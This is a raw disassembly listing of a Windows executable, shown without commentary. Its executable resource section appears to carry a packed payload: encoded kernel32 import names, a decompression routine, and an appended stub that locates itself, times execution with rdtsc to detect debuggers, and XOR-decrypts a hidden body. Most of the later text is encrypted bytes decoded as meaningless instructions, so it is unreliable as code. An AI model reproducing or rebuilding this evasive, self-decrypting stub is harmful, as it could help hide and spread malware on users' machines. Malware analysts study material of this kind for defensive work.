sub_4035C9+46r align 10h off_406AE0 dd offset word_406AEA ; DATA XREF: sub_402810+1Er ; sub_402A4C+12r ... dd offset word_406AEA db 2 dup(0) word_406AEA dw 20h ; DATA XREF: sub_403876+18r ; .text:off_406AE0o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_406CEC dd 1 dd 2Eh, 1 dword_406CF8 dd 0C0000005h ; sub_402D04+11o dd 0Bh, 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_406D70 dd 3 dword_406D74 dd 7 dword_406D78 dd 0Ah dword_406D7C dd 8Ch ; sub_402BC3+8Fw ... dd 0FFFFFFFFh, 0A00h, 10h dword_406D8C dd 19930520h, 4 dup(0) ; sub_403496+2o dword_406DA0 dd 2 ; sub_4035C9+28r off_406DA4 dd offset aR6002FloatingP ; DATA XREF: sub_4035C9+FCr ; sub_4035C9+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 40536Ch, 9, 405340h, 0Ah, 40531Ch, 10h, 4052F0h dd 11h, 4052C0h, 12h, 40529Ch, 13h, 405270h, 18h, 405238h dd 19h, 405210h, 1Ah, 4051D8h, 1Bh, 4051A0h, 1Ch, 405178h dd 78h, 405168h, 79h, 405158h, 7Ah, 405148h, 0FCh, 405144h dd 0FFh, 405134h byte_406E30 db 1 ; DATA XREF: sub_4035C9+1Bo ; sub_4038A7+E1r db 2, 4, 8 align 8 dword_406E38 dd 3A4h dword_406E3C dd 82798260h, 21h, 0dword_406E48 dd 0DFA6h align 10h dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_406F28 dd 3F8h ; sub_403CF4+5r align 10h dword_406F30 dd 0 ; sub_401000+10w ... dword_406F34 dd 0 ; sub_401210+Dr dword_406F38 dd 0 ; sub_401398+Co ... dword_406F3C dd 0 ; sub_402680+91w dword_406F40 dd 0 ; sub_402D9F:loc_402DB1r ... align 8 dword_406F48 dd 0 dd 3 dup(0) dword_406F58 dd 0 dword_406F5C dd 0 dword_406F60 dd 0 dword_406F64 dd 0 dword_406F68 dd 0 dword_406F6C dd 0 dd 0 dword_406F74 dd 0 dd 3 dup(0) dword_406F84 dd 0 dd 0 byte_406F8C db 0 ; DATA XREF: sub_402B10+2Dw align 10h dword_406F90 dd 0 dword_406F94 dd 0 ; sub_402B10+8Bw dword_406F98 dd 0 ; sub_402BC3+46w ... dword_406F9C dd 38h dup(0) dword_40707C dd 9 dup(0) ; .text:00406638o ... dword_4070A0 dd 0 ; sub_4030A5+23w ... dword_4070A4 dd 0 dword_4070A8 dd 0 ; sub_40371C:loc_403786w dword_4070AC dd 0 ; sub_403A40+4w ... dword_4070B0 dd 0 ; resolved to->USER32.MessageBoxA ; sub_404573+2Ew ... dword_4070B4 dd 0 ; resolved to->USER32.GetActiveWindow ; sub_404573:loc_4045C2r dword_4070B8 dd 0 ; resolved to->USER32.GetLastActivePopup ; sub_404573+60r dd 2 dup(0) dword_4070C4 dd 0 dd 3 dup(0) dword_4070D4 dd 0 ; sub_403A40+3Ar ... dd 0 dword_4070DC dd 0 ; sub_4046FE+4Cw ... dword_4070E0 dd 0 dword_4070E4 dd 0 dword_4070E8 dd 0 ; sub_4043C7+5r ... dword_4070EC dd 0 ; sub_403D93+259r ... dword_4070F0 dd 0 ; sub_403D93+310w ... dword_4070F4 dd 0 ; sub_403D93+22Cr ... dword_4070F8 dd 0 ; sub_403D68r ... dword_4070FC dd 0 ; sub_403D68+8r ... dword_407100 dd 0 ; sub_4038A7+65w ... align 10h dword_407110 dd 3 dup(0) ; sub_4038A7+171o ... dword_40711C dd 0 ; sub_4038A7+15Dw ... byte_407120 db 0 ; DATA XREF: sub_403AE6:loc_403BF2w ; sub_403AE6:loc_403C0Fw ... align 4 dd 3Fh dup(0) byte_407220 db 0 ; DATA XREF: sub_4038A7+5Co ; sub_4038A7+AFo ... byte_407221 db 0 ; DATA XREF: sub_402EF1+3Fr ; sub_402EF1+84r ... align 4 dd 40h dup(0) dword_407324 dd 0 ; sub_4038A7+12Bw ... dword_407328 dd 0 ; sub_403382+29r ... dd 5 dup(0) dword_407340 dd 0 ; sub_4031D7+45r ... dword_407344 dd 3Fh dup(0) dword_407440 dd 0 ; sub_4031D7:loc_403261r ... dword_407444 dd 0 dword_407448 dd 0 dword_40744C dd 0 dword_407450 dd 0 ; sub_402B10+57r dword_407454 dd 0 dword_407458 dd 0 ; sub_402D47+Fr ... dd 6E9h dup(0) _text ends ; Section 2. (virtual address 00009000) ; Virtual size : 0001E010 ( 122896.) ; Section size in file : 0001E010 ( 122896.) ; Offset to raw data for section: 00009000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _rsrc segment para public 'CODE' use32 assume cs:_rsrc ;org 409000h assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing dd 4 dup(0) dd 7C801D77h, 7C80ADA0h, 7C809A51h, 7C809AE4h, 0 dd 9010h, 0 dd 0FFFFFFFFh, 904Ch, 9010h, 5 dup(0) dd 6E72656Bh, 32336C65h, 6C6C642Eh, 4C000000h, 4C64616Fh dd 61726269h, 417972h, 47000000h, 72507465h, 6441636Fh dd 73657264h, 73h, 72695600h, 6C617574h, 6F6C6C41h, 63h dd 72695600h, 6C617574h, 65657246h, 0A2330000h, 0E80E30B5h dd 0FCF83644h, 0F4476A36h, 9E7F9BDCh, 13B5857Ch, 0EF54DD1Ch dd 0A18418CFh, 0CA90E8A8h, 3E8CE63Fh, 0A88320ACh, 50000802h dd 8B600000h, 8B242474h, 247Ch, 245C8B28h, 1B8BFC2Ch, 0DB85C933h dd 80B21074h, 0DF030000h, 0E803B1A4h, 66h, 0FB3BF673h dd 7C73h, 33575553h, 0ED3343DBh, 7C8DC38Bh, 0EB8B001Dh dd 0DF8B0800h, 0F11C49E8h, 3D5C8Dh, 800C703h, 3AE8EF8Bh dd 5D5FE20Eh, 73C12B5Bh, 8B090000h, 34E8C5h, 1CEB0000h dd 0AC08E0C1h, 0E840h, 28h, 13DE88Bh, 83000040h, 813DFFD9h dd 7076000h, 2BF78B56h, 5EA4F3F0h, 4141h, 0D20295EBh, 168A0575h dd 0C3D21246h, 0E841C933h, 0FFEE0000h, 0C913FFFFh, 0FFFFE7E8h dd 0C3F272FFh, 107C2Bh, 7C892824h, 0C2611C24h, 0B4480010h dd 40003085h, 563E03h, 90100060h, 90140000h, 7DF80000h dd 77F40000h, 7FFDEBF8h, 6600h, 0B8h, 80305488h, 400001Dh dd 9A330000h, 0F8904000h, 56630000h, 0F2A0000h, 40010000h dd 501C02h, 4CAB00h, 6109B800h, 3100F61h, 6430056h, 1004h dd 3CA5h, 80000h, 880105h, 51530000h, 55565752h, 1DE84000h dd 30ED815Dh, 8D100011h, 25B5h, 8B100011h, 0C083FC46h dd 8BF02B04h, 468B0856h, 31C0041h, 89088BC2h, 17128F8Dh dd 0C418520h, 14240C93h, 0C970C06h, 0C100028h, 8BDE0C9Bh dd 0F6854473h, 0E74h, 2BB9h, 8BF20300h, 0FA03407Bh, 0F38BA4F3h dd 8D8D0000h, 1000129Fh, 226E851h, 4E8B0000h, 808B2Ch dd 56032456h, 68406A08h, 6A5197h, 12FF0000h, 128B8589h dd 0E8561000h, 3D7h, 2041E856h, 0CB0504DFh, 20620502h dd 85343280h, 89840FC9h, 4E54h, 0E8565108h, 53Eh, 7B74C085h dd 176F958Bh, 10000000h, 17738D8Bh, 0C9851000h, 8D8D0875h dd 1367h, 2DEB1000h, 0C1F7h, 1E748000h, 0FFE18152h, 0FFFF0000h dd 858D517Fh, 10001323h, 3C858D50h, 4000018h, 95FF5010h dd 8B1D257Dh, 0C8030846h, 414100F8h, 858D5152h, 2B012D1h dd 8D106A1Eh, 6A15BB85h, 0FF000800h, 1177995h, 13C395FFh dd 401000h, 800068h, 0FF006A00h, 468BB8B5h, 8B280000h dd 0C703087Eh, 468B10FFh, 5DC7030Ch, 97C5F5Eh, 0C35B595Ah dd 205Eh, 100013A2h, 100013BBh, 1088142h, 6D100013h, 56100013h dd 451B0000h, 7972746Eh, 696F5020h, 4E20746Eh, 746Fh, 756F4620h dd 5400646Eh, 70206568h, 65636F72h, 7564030Ch, 65206572h dd 7023h, 20732523h, 6C756F63h, 6F6E2064h, 65622074h, 6C200000h dd 7461636Fh, 69206465h, 6874206Eh, 2065h, 616E7964h, 2063696Dh dd 6B6E696Ch, 62696C20h, 617200C0h, 25207972h, 6F512E73h dd 1DD6472h, 6C616E69h, 1642520h, 615B4300h, 5D796Eh, 1000138Ch dd 0BD638098h, 65737500h, 33720000h, 6C642E32h, 654D006Ch dd 67617373h, 4265h, 41786Fh, 72707377h, 66746E69h, 656B0041h dd 6E720B00h, 45226C65h, 50746978h, 73DD8056h, 0CAF0073h db 0, 49h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFFCh push ebp push ebx push edi push esi add [eax-147EA45Bh], al setalc adc eax, [eax] adc [ebx+0E8B0875h], cl ; CODE XREF: .rsrc:0040946Dj add eax, [eax-0AE34F8h] xchg eax, ebx xchg eax, ebp test eax, eax jz short loc_409471 mov [eax], esp add [ebp-4], eax mov edx, [esi+4] ; CODE XREF: .rsrc:00409441j add edx, ebx jle short near ptr loc_40943C+2 mov eax, [edx] ; CODE XREF: .rsrc:00409462j test [edx], eax add al, al jz short loc_409465 push edx mov eax, [edx] add eax, ebx push eax push dword ptr [ebp-4] call dword ptr [ebx-7A51E000h] sal byte ptr [esp+edx-55h], 5Ah add edx, 4 jmp short near ptr loc_409443+1 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_409465: ; CODE XREF: .rsrc:00409449j add [ebx+68B0CC6h], al test eax, eax jnz short near ptr loc_409425+5 xor eax, eax loc_409471: ; CODE XREF: .rsrc:00409435j jmp short near ptr dword_409478 ; --------------------------------------------------------------------------- db 0B8h dd 56FFFFh dword_409478 dd 5F5EFFFFh, 0C2C95D5Bh, 6E000004h, 8B087D8Bh, 5F8B0447h ; CODE XREF: .rsrc:loc_409471j dd 74C33B08h, 8B44h, 0F6853877h, 0F3033D74h, 0D82BD38Bh dd 0ADFC5D89h, 0D88B0000h, 85ADDA03h, 8B2A74C0h, 8E983C8h dd 0C985h, 0AD66ED74h, 0E781F88Bh, 0FFFh, 0C166FB03h, 0CE80000h dd 3F88366h, 458B0575h, 490701FCh, 15887549h, 62CCEBE1h dd 555F0600h, 0D2085D8Bh, 0A9ED815Dh, 8890014h, 3C4E8B10h dd 8004AADBh, 83085667h, 0B70F48C3h, 18A90C43h, 1075E4C1h dd 6F75D0A9h, 0FFA94601h, 7EEB6875h, 338B51h, 53085418h dd 0EB8BC933h, 0E5BB70Fh, 0CF3B0000h, 68B4D7Dh, 1275FF3Ch dd 7425FC80h, 8005h, 87515FCh, 8306C683h, 0E4EB06C1h, 0E74E83Ch dd 0E93C0000h, 468B2975h, 0F8385701h, 8EB1875h, 8B57h dd 0D8380146h, 0C1660E75h, 0C0C108E8h, 2BC48610h, 89C10000h dd 835F0146h, 0C18305C6h, 46B3EB05h, 0EB41h, 0EB595BAFh dd 8B575118h, 0FFA033Bh, 830E4BB7h, 2EC0000h, 57525166h dd 16E8h, 83595F00h, 5610C3h, 0E9057449h, 0FFFFFF5Ch, 0D400045Dh dd 8758B60h, 104D8B66h, 20C558Bh, 3071980h, 88966C2h, 0C961F4EBh dd 1E2B0CC2h, 800800E6h, 100015FFh, 1591858Dh, 0D0C2D21Bh dd 0A78B0889h, 48896105h, 22CC1604h, 16011649h, 2000A90Ch dd 0E9407525h, 0A4h, 3F28B51h, 8B331980h, 84B84BDh, 0F9C1C18Bh dd 0F3020014h, 83C803A5h, 0A4F303E1h, 9B60FC8Bh, 47B03FAh dd 591B00F7h, 8B5D69EBh, 4087Dh, 163403h, 0F78B5110h, 8B30772Bh dd 0C600A8FEh, 0C703574Ah, 10015256h, 0A68D8D5Ch, 84B8B51h dd 8D8D89h, 5105B60Ch, 0D0FF5657h, 50A18B5Ah, 0E6E63C8h dd 5F5E6678h, 4ED7B1EBh, 0B2383A38h, 16B70DC8h, 740D1500h dd 0E083F259h, 5007402h, 738B514Ah, 4B8B8604h, 74000308h dd 7B8B62F2h, 8BFA0304h, 84B02C3h, 0AAF3C033h, 1D083B82h dd 17002610h, 7FADE285h, 0C758B56h, 5D8B0002h, 39C03308h dd 4751046h, 2C740639h, 741C3000h, 8430303h, 30C4E8Bh dd 84Bh, 85107E8Bh, 30374FFh, 5750087Bh, 19E85351h, 0 dd 0FFF88300h, 0C6830774h, 33C9EB14h, 22505EC0h, 0A6C2C9h dd 5340A315h, 0AF193855h, 0C459986h, 83892704h, 89C033A2h dd 0A4E66083h, 75FFB88Bh, 11FF0Ch, 0FC4589D2h, 7F74C085h dd 10758Bh, 14557280h, 275D285h, 0F685D68Bh, 0F28B0275h dd 0CA43E00Ch, 0C7100017h, 10384331h, 0B85249DEh, 0E1A94941h dd 13808B0Ah, 0E2E28112h, 5D8B0BEBh, 1808B08h, 8530312h dd 3E02C283h, 18092D58h, 10001311h, 900752h, 0C0855400h dd 895A1174h, 83028906h, 0C68304C2h, 0EB0400B6h, 0EBC0339Bh dd 63F5A06h, 0C95B5D05h, 0EF0063C2h, 748B6000h, 7C8B2424h dd 5C8B2824h, 8BFC2C24h, 74DB851Bh, 3D2334Eh, 0FB3BA4DFh dd 20E84573h, 73000000h, 27E8F4h, 0E8910000h, 21h, 41414848h dd 0AC08E0C1h, 0F78B5640h, 0A4F3F02Bh, 66D7EB5Eh, 875D203h dd 92AD6692h, 42D20366h, 40C033C3h, 0FFFFEAE8h, 0E8C013FFh dd 0FFFFFFE3h, 2BC3F272h, 8928247Ch, 611C247Ch, 0C50010C2h dd 5B000090h, 44000009h, 85000001h, 18000097h, 1C000090h dd 90h, 0B8004000h, 0F04087B0h, 1082888Dh, 41891000h, 24548B01h dd 0C528B04h, 83E902C6h, 0CA2B05C2h, 33FC4A89h, 0B0B8C3C0h dd 64F04087h, 58Fh, 0C4830000h, 51535504h, 8D565257h, 104398h dd 18538B10h, 406AE88Bh, 100068h, 473FF00h, 4B8B006Ah dd 8BCA0310h, 8BD0FF01h, 338B50F8h, 318538Bh, 0C4B8BF2h dd 858DCA03h, 1000111Dh, 8F0473FFh, 50006A00h, 0D1FF5657h dd 8430358h, 538BF88Bh, 8BF08B18h, 0C083FC46h, 89F02B04h dd 4B8B0856h, 244E8910h, 51144B8Bh, 0FF284E89h, 218589D7h dd 8B100011h, 4B0359F0h, 80006818h, 6A0000h, 8B11FF57h dd 5F5A5EC6h, 0FF5D5B59h, 95BE0h, 3F2h dup(0) db 2 dup(0) word_40A89A dw 0 ; DATA XREF: .text:00406750o ; .text:00406794o ... dd 39DDh dup(0) ; --------------------------------------------------------------------------- call $+5 clc mov eax, [esp] cld mov [eax+2FCFh], ebx test dword ptr [eax+288Ah], 80000000h mov ebx, [esp+4] jz short loc_41905D pop ecx mov [eax+2FD3h], esi push edi pop dword ptr [eax+2FD7h] cmp byte ptr [eax+288Eh], 0E8h jnz short loc_419054 add ebx, [eax+288Fh] mov ebx, [ebx+2] push dword ptr [ebx] jmp short loc_41905C ; --------------------------------------------------------------------------- loc_419054: ; CODE XREF: .rsrc:00419045j mov ebx, [eax+2890h] push dword ptr [ebx] loc_41905C: ; CODE XREF: .rsrc:00419052j pop ebx loc_41905D: ; CODE XREF: .rsrc:0041902Ej push ebp mov ebp, eax sub dword ptr [esp+4], 167D7h sub ebp, 361005h mov edi, [esp+4] lea esi, [ebp+36389Ch] mov ecx, 0CDh rep movsb call sub_4190D2 mov ecx, eax call sub_4190D2 sub eax, ecx jz short loc_4190A6 cmp eax, 100h lea eax, [ebp+3610D5h] ja short loc_4190A6 mov dl, [eax-10h] call sub_4190D6 jmp short loc_4190E5 ; CODE XREF: .rsrc:004190F7j ; --------------------------------------------------------------------------- loc_4190A6: ; CODE XREF: .rsrc:0041908Dj ; .rsrc:0041909Aj test dword ptr [ebp+36388Fh], 80000000h jz short loc_4190D0 lea esi, [ebp+363893h] mov edi, [esp+4] movsb movsd mov esi, [ebp+363FD8h] mov edi, [ebp+363FDCh] mov ebx, [ebp+363FD4h] loc_4190D0: ; CODE XREF: .rsrc:004190B0j pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_4190D2 proc near ; CODE XREF: .rsrc:0041907Fp ; .rsrc:00419086p rdtsc retn sub_4190D2 endp ; --------------------------------------------------------------------------- das ; =============== S U B R O U T I N E ======================================= sub_4190D6 proc near ; CODE XREF: .rsrc:0041909Fp mov dh, dl mov ecx, 27BAh loc_4190DD: ; CODE XREF: sub_4190D6+Cj xor [eax], dl add dl, dh inc eax loop loc_4190DD retn sub_4190D6 endp ; --------------------------------------------------------------------------- loc_4190E5: ; CODE XREF: .rsrc:004190A4j scasb mov ebp, 0E5144C8Dh ; CODE XREF: .rsrc:004190F4j enter 0FFFFE903h, 82h insd pop ebp adc dh, ah leave jno short near ptr loc_4190E6+4 dec esi jl short near ptr loc_4190A4+1 fstp tbyte ptr [edi-2Ah] jecxz short near ptr loc_41914F+3 lds esi, [esi-76FCCAE8h] mov al, 4Ah dec ebx adc dword ptr [edi], 8B2A829Bh or al, 0C4h lds ebx, [edi+23A26A09h] scasb sbb dword ptr [esi+4Fh], 0FFFFFFDDh imul esp, [ecx+4Ah], 3 mul byte ptr [eax-6BE54DF3h] scasd mov word ptr [edi+29h], ds or [esi+3A61E338h], ch push ebp in al, dx clc pop es fpatan xchg eax, esp xchg cl, ds:0CE2C63CEh ; CODE XREF: .rsrc:00419142j mov bh, 0A3h sub eax, 981FB69Ah jbe short near ptr loc_419135+5 mov ds:5C21163Ch, eax mov edi, [edx+52874AAh] loc_41914F: ; CODE XREF: .rsrc:004190FCj rcr byte ptr [edx-2503FAA4h], 0EEh dec esi mov bl, 0ADh and ebx, [edx+edi+0Ch] push eax xchg eax, ebp sub al, 0FEh and dl, [ecx-80h] ; CODE XREF: .rsrc:0041917Fj in al, dx lodsb push 8CFF1F5Dh mov es, word ptr [edx+38h] icebp cmc jecxz short loc_4191B4 mov esi, 0CB4B16A6h pop ss insd mov dl, [ecx-1Bh] pop ss inc esi jnz short near ptr loc_419162+2 mov dh, 76h jge short locret_419186 cld locret_419186: ; CODE XREF: .rsrc:00419183j retf 6EA8h ; --------------------------------------------------------------------------- db 39h, 15h, 0DBh dd 0B3C954D8h, 1AC8461Dh, 1E467F66h, 1C6A3B0Fh, 56A2F808h dd 411D4C7Bh, 0F6A4FABFh, 49DF2BCAh, 469762B7h, 0BC52A374h ; --------------------------------------------------------------------------- loc_4191B4: ; CODE XREF: .rsrc:00419171j push ds dec edx mov eax, 5E6EEDBDh xchg bl, ds:64033903h insd dec edi fbstp tbyte ptr ds:59227E79h sub dword ptr [edi], 5Fh cwde sub al, 0F1h cmpsb icebp or esp, [edi-12C0EF29h] cmp [esi+ebp*8+3488591Ch], dh inc ebx imul edx, [ecx+45h], 8A83D1A2h ficomp word ptr [eax+1E1AEB8Ah] mov esi, 2170522h arpl [ebx+75214548h], dx dec ebx lodsb push esi mov edi, 0C6A17DCDh mov ch, 0DEh aas sti fstp tbyte ptr [ecx] db 3Eh fdivr qword ptr [ebx-78A7D58Ch] jmp near ptr 4A0B132Dh ; --------------------------------------------------------------------------- db 97h dd 42C63ED0h, 193E3F83h, 922D7748h, 92225910h, 5D1E8703h dd 8C53A37Ch, 0C5A05C7Ah, 813DD79Ch, 0C20EB5B0h, 0CFF159F9h dd 0BA46D228h, 7140FD60h, 987358A0h, 0E98C9B5Ch, 58CFA893h dd 0E03203DFh, 2BFEBF7Dh, 8A3FF64Ch, 6666011Ah, 0D2C00C61h dd 0F1558F6Ch, 9A96356h, 0B8C3AAA1h, 0B212D5AFh, 743214DBh dd 0FE744B7Bh, 762E40F4h, 0CE02D2A4h, 0DB85CDF5h, 89BEC81Ch dd 0E139C75Dh, 21F2C10Bh, 0B7AE15C7h, 9D6A530Dh, 554E77C8h dd 0EEE2B284h, 0FBA52DD5h, 869AAEFCh, 4514653Ch, 51D2C974h dd 0B98E5F58h, 0B84A71ECh, 5F51DB40h, 0F0AAC365h, 527E4E20h dd 5F014949h, 25FCAF98h, 744D8355h, 9D580452h, 592AFE24h dd 17B75E88h, 0D1C87344h, 0E754CC59h, 0FF8F14B6h, 0EED69143h dd 7C11A0C5h, 7D782492h, 0D8ED4ACh, 1DC6976Ah, 0B1825322h dd 217A5BAEh, 0BC05CBD0h, 0E580BC26h, 0B6BCF699h, 941DFFE6h dd 22200601h, 0DB17777Eh, 9314DB97h, 0F09DEFC0h, 9EC9082h dd 0C5126838h, 0A5223F6h, 0B351135h, 0F8BA646Ch, 8260D2A7h dd 0F4C913D2h, 2DC8F446h, 66BBFBA3h, 934E749Dh, 0B3B788D4h dd 0E2EE89ABh, 5C257A3Ch, 95500F32h, 6AF47E4Fh, 173DAFB6h dd 469B1AC3h, 0B36E607Dh, 9F9F68B4h, 1ECEA94Bh, 0B8FBA425h dd 4D129267h, 89EAD392h, 60BE8F61h, 9F461FA1h, 0FF98CD8h dd 0DE2B3594h, 3C2D7B20h, 9A2A510Fh, 554CA031h, 0A46FABEEh dd 0CDA87A9Bh, 895A3245h, 8126AB8h, 0FE2D5C8Ah, 0B903F456h dd 794A1BA1h, 0B8ADB1A8h, 0C3699723h, 0ADEBC2C4h, 0C53A3DE7h dd 43F44EFEh, 0E37000FFh, 49E5CAF2h, 0AD42FBA6h, 9EE6B7E7h dd 5AA21988h, 0E55E45C4h, 411AEBBCh, 5787E712h, 3EC26D5Eh dd 4B75C565h, 0FD8983ACh, 9A32FF28h, 65095324h, 0A1B50F8Ah dd 29908BF6h, 8FE48532h, 0CE862B14h, 5D44FFD0h, 4915D1DDh dd 0EE44E2B7h, 0C83D3332h, 0C9111045h, 9DAAA7Bh, 0D596D2B5h dd 7CEB23C2h, 0B60EDFBBh, 786F6883h, 839657C5h, 48C79EE4h dd 0D2FEF9B4h, 83EEDBBCh, 5A892D38h, 5709E941h, 422E3A90h dd 89424F39h, 7D663709h, 5122F3D5h, 689ACAD3h, 99FD1E5Eh dd 0EC204E8Ah, 247586D8h, 0AC26C870h, 468A5B29h, 43794F5Dh dd 5F972CA4h, 0BABEB95Bh, 9248DEE3h, 655C07EEh, 0B40DC1FEh dd 0DD984432h, 996B13B5h, 0B40D60C8h, 45C6BF0Dh, 6B0B9017h dd 0BA5A1DC7h, 7B3644Eh, 1D29548h, 28710864h, 797C2046h dd 5372172Dh, 0F53C1022h, 0D981A152h, 695003F8h, 0B009EDF2h dd 0E184B8F6h, 411AFF95h, 5CA3135Fh, 0DCD5B788h, 0E89890D5h dd 0BB626D85h, 0C8289EBCh, 66F28304h, 0B5E11147h, 0E58F9ED8h dd 690ADBA2h, 0A490C73Ch, 4ED10374h, 5B055575h, 703A4E9Ch dd 9149882Ch, 24FD4B30h, 5D18C392h, 0E6177E64h, 405924B7h dd 91540836h, 899F612Bh, 9DAAA54h, 0F703986Fh, 7E5215CFh dd 0B35ED25h, 2A2726Ch, 0EF86A8D7h, 7128138Eh, 2D94CFCAh dd 0EDBA8A34h, 0CFB2CC18h, 6D5853D4h, 0FF117B1Bh, 0EDF5031Ah dd 5C553708h, 0AEDD292Ch, 454B227Fh, 9B9A5D29h, 7A0676A9h dd 7729D521h, 0DD0A1C70h, 0B9C3D6EFh, 751E4FB0h, 3102FC50h dd 0EDBE8103h, 0A97A4B1Dh, 653607D8h, 21F2C394h, 0DDAE57DFh dd 996A3B0Ch, 0AA75A199h, 27D98D11h, 61C7C440h, 722FEB78h dd 0C8D5095Ah, 37CBD6E1h, 28710D30h, 797C207Ah, 0A5E5221h dd 0E72A9352h, 0E17E4F20h, 1C5164B3h, 4C8497E8h, 84DEEA22h dd 0FC385A77h, 184F8EA0h, 8019E788h, 0D194487Ah, 0B202AA89h dd 15D9EB8Ah, 60A5C63Ah, 0A4FF027Ah, 172C5094h, 4A7EB8C9h dd 0A6B2C134h, 0B1F63041h, 1F4A7C8Ch, 2994AEF0h, 84D3F51Bh dd 0C8342660h, 5D6F9ABCh, 788FC9CFh, 0BCE0123Ch, 0F02F5668h dd 23779FB0h, 4ADAEA1Bh, 0B1F7024Ah, 0EE207391h, 4E7DBAD3h dd 8B899B2Dh, 0D0F2364Dh, 1E2F76B6h, 45AAAAD4h, 8DDBEE2Eh dd 0C0040418h, 355777B5h, 7C8BCDF8h, 0ABE97B28h, 0F012566Dh dd 3D4D9C90h, 7DB2CAE8h, 0A7C9590Fh, 0ED255799h, 41297DBh dd 0A9BAF608h, 0D8EF2944h, 1C00178Ch, 5856B6C8h, 82EAEA0Dh dd 0DD09324Fh, 0C626ABDh, 67F2A6F9h, 91CB1A22h, 0F8185965h dd 12268EBAh, 78A4C7E1h, 0B9DF0A2Ch, 0EB335988h, 367393CDh dd 6495A335h, 0D1E71944h, 3234889h, 5041D7CDh, 9DABD510h dd 0C0171B45h, 0C7D0BB9h, 41998AECh, 0A9D7EF21h, 0F10A5171h dd 1E2ABAA9h, 70B2C3EDh, 0B8E40329h, 0EC104A6Ch, 495B8ED1h dd 51A2C23Fh, 91E20E51h, 3C266B91h, 4D6F9CACh, 86B4F23Eh dd 0B1EC3C4Dh, 3B4A6AA7h, 4089B9F9h, 9DF3E937h, 0C4354355h dd 3141A9A4h, 508FD6F9h, 0A7C91126h, 0F8165269h, 4D5F81AFh dd 6DBBC430h, 0B7F40E74h, 0C02B5195h, 4D6F92B0h, 8EAFF23Ah dd 0DCC03167h, 3E427688h, 6B90AAD0h, 0A4DFE735h, 0CC063779h dd 617364BAh, 738BCFDFh, 0BAC5091Ch, 9515446Dh, 324D8194h dd 3EADDCE5h, 0BBF32D0Eh, 0D556538Bh, 24718CC6h, 0CFFDEC03h dd 0CDF23E62h, 12344E8h, 546EBAE2h, 9FCAFB21h, 0DD0F2975h dd 657774BDh, 6786A6C7h, 89CB1339h, 990F5665h, 30439B9Bh dd 68B1B3F4h, 0A0FB1B33h, 0EC3742A8h, 2C5088ECh, 6886C618h dd 0E88E3A5Dh, 92B7682h, 4263BEFEh, 9884F52Bh, 0FB7E2A4Ch dd 1C4E79B5h, 49B7ABF9h, 0E1D1EC38h, 0E9074D47h, 3543BDA9h dd 61A8B7EDh, 0A4C81705h, 0FF0E5B73h, 25739DD5h, 76B3C01Dh dd 0A4F90C60h, 9001F9Eh, 586FA9EFh, 9C80F21Ch, 0FF823648h dd 84C4C94h, 799FBFFDh, 80D5E82Ah, 0EF723067h, 385CBCA4h dd 498FCFEDh, 0B0C5183Ah, 0E9274077h, 0E6AA1C0h, 7DBBCE0Eh dd 0A6F3345Dh, 0EF3D4A80h, 7E7A91B0h, 8DABFE1Eh, 0D0F5024Dh dd 1E304396h, 5E8DAAC3h, 0A4CEC55Ch, 0CC203779h, 77D74B1h dd 698DDAC3h, 0D9C41425h, 0E5294346h, 38649DA1h, 43DECAECh dd 0ACEA2448h, 0EA247796h, 326186D7h, 98A5F024h, 0CDC45B42h dd 1B2367A7h, 4561B6F7h, 0EDD0E009h, 0DB2A3F52h, 65373B7h dd 539B95E0h, 0B1CF0A24h, 0F6075E41h, 1B268EBAh, 7497E2F0h dd 0A3D71632h, 0E428449Ah, 2A7F93D9h, 6ABDF71Ah, 0F38E3155h dd 10384C98h, 5C50B2DCh, 90B7E716h, 0C01B024Ch, 694379B3h dd 709AB3CAh, 8ED1EA3Ah, 0E93D5A74h, 3E4492BEh, 7BA7D8DCh dd 0A5F11A37h, 0EA304672h, 849BCBCh, 77B7D32Bh, 0C1E21640h dd 0E217393h, 5A65A8C9h, 0F5B2F203h, 0DFEC3C47h, 6D4A6C85h dd 418EAEFBh, 87C2F437h, 0CC132D6Dh, 385CFFB5h, 6AEACDEFh dd 0D5C2192Dh, 0FA015C77h, 41E9BA5h, 7BBFDF12h, 86E20256h dd 0E4214C98h, 5960BEF8h, 0B0CAFE00h, 0C7E32346h, 3636768Ah dd 42BDBBC5h, 8ADFE532h, 0F612226Ch, 44662A0h, 6980F690h dd 0BCC40929h, 0F016787Ch, 1822B2AAh, 7FBBDBEEh, 86EE0E52h dd 0D0384288h, 41538FC6h, 98BAF139h, 0CDEF355Eh, 112772BAh dd 546EBAE2h, 0BBFACE60h, 9A331B5Dh, 297229EAh, 44A0C3D8h dd 0B2C23C37h, 0FC215E7Fh, 3074F7B1h, 7492FCE3h, 0B4FB242Eh dd 891B53B9h, 147182EAh, 78A0C601h, 0C8E23E66h, 38325E89h dd 526385A8h, 0A7B6F637h, 0C80B2341h, 697B7399h, 4F00F4CEh dd 6AE4D556h, 0CF6F55C4h, 0F328933h, 2ABA2277h, 15297372h dd 0DD087956h, 